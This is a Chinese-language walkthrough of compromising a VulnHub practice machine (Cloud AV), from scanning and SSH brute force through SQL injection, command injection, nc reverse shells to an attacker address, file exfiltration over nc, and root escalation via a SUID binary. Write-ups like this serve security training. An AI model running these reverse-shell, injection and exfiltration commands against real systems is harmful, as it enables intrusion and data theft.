easy_cloudantivirus 靶机
一、导入虚拟机配置
靶机地址:
https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
下载完成,打开VirtualBox导入即可:
二、攻击方式
主机发现
信息收集,使用nmap或者arp-scan进行扫描,发现主机
也可以循环执行 arping 命令
for i in $(seq 1 254); do sudo arping -c 2 10.1.2.$i; done
端口扫描
nmap进行端口扫描,探针端口,服务信息
nmap -p- 10.1.2.126
nmap -sV -A 10.1.2.126
探针发现,开发22和8080端口,可以使用hydra进行尝试ssh爆破,但是未果。
hydra -l root -P passwd.txt ssh://10.1.2.126
web渗透-SQL注入
发现还开放了8080端口,进行访问web界面,如下
发现此网站为一个扫描器相关的网站,在交互处输入邀请码才可测试扫描,尝试注入测试
输入数据不论数字还是字母,都给以下提示:
错误信息
抓包,发现password参数,可进行注入,导入fuzzer字典,进行模糊测试
选择并插入fuzzer的模糊测试字典,如下:
测试闭合方式,进行注入
然后开始攻击,爆破即可,根据长度进行筛选,并发现状态码为200,页面变化:
万能钥匙
得到payload测试输入,来到web界面,如下:
然后我们随便输入一个以上提供的进行scan,观察页面变化,如选择第一个bash
等待扫描后如下:
命令注入
根据以上,尝试命令注入,加入管道符跟上执行命令,看是否可回显
bash | ls
页面成功回显,带出当前目录下的文件内容信息
反弹shell
尝试反弹shell,使用nc命令
bash | nc 10.1.2.218 8888 -e /bin/bash
执行过后,发现无反应,没有反弹,可能此linux当中的nc不支持-e参数,采用nc串联的方式
bash | nc 10.1.2.218 6666 | /bin/bash | nc 10.1.2.218 8888
这里kali需要同时开启6666和8888端口,我们在6666端口输入的语句会在靶机中输入到bash环境中执行,再将执行的结果返回到kali的8888端口中。(这里针对nc没有-e参数还可以使用命名管道符进行反弹shell)
成功接收回显信息
回显结果:
ssh爆破
发现当前路径有database.sql文件,查看此文件类型,判断是何数据库文件
file database.sql
此数据库文件为sqlite3,使用命令sqlite3查看一下,发现无此命令,那只能将其下载到本地,进行查看利用。
使用nc将文件传输到本地中,在本地进行内容的读取
kali:
nc -lvvp 5555 > database.sql
shell:
nc 10.1.2.218 5555 < database.sql
成功下载到本地,通过sqlite3命令查看数据库内容
sqlite3
.open database.sql
.database
.dump
得到四个密码信息:
myinvitecode123
mysecondinvitecode
cloudavtech
mostsecurescanner
查看靶机的/etc/passwd文件当中的用户信息,并查看有/bin/bash得账号
cat /etc/passwd | grep /bin/bash
拥有此权限的有以下三个用户:
加上以上四个密码,尝试进行爆破,创建user.txt和passwd.txt,将以上的用户信息和密码填入,进行爆破,使用hydra爆破,但是未果
hydra -L user.txt -P passwd.txt ssh://10.1.2.126
获取一个稳定shell,使用python
python -c "import pty;pty.spawn('/bin/bash')"
提权
查看有suid权限的文件信息:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
没有可利用的suid权限文件,查看/etc/passwd,只读权限,无法利用
查看上一级目录有无利用文件
发现.c文件,并且已经编译好,恰好属主为root,那么利用一下,直接运行
提示我们缺省命令参数,那么我们加上命令再次运行,发现有log文件动用,尝试反弹shell
查看此文件的源码:
加上参数,尝试反弹shell
nc反弹shell,继续参与nc串联的方式
./updata_cloudav "1|nc 10.1.2.218 9999 | /bin/bash | nc 10.1.2.218 7777"
成功接收,root权限
思路:
主机发现—>端口服务扫描—>开放22端口可爆破—>访问web服务—>SQL注入—>命令注入—>反弹shell,nc串联—>ssh爆破—>找提权点—>代码审计—>提权
文章不妥之处,欢迎批评指正!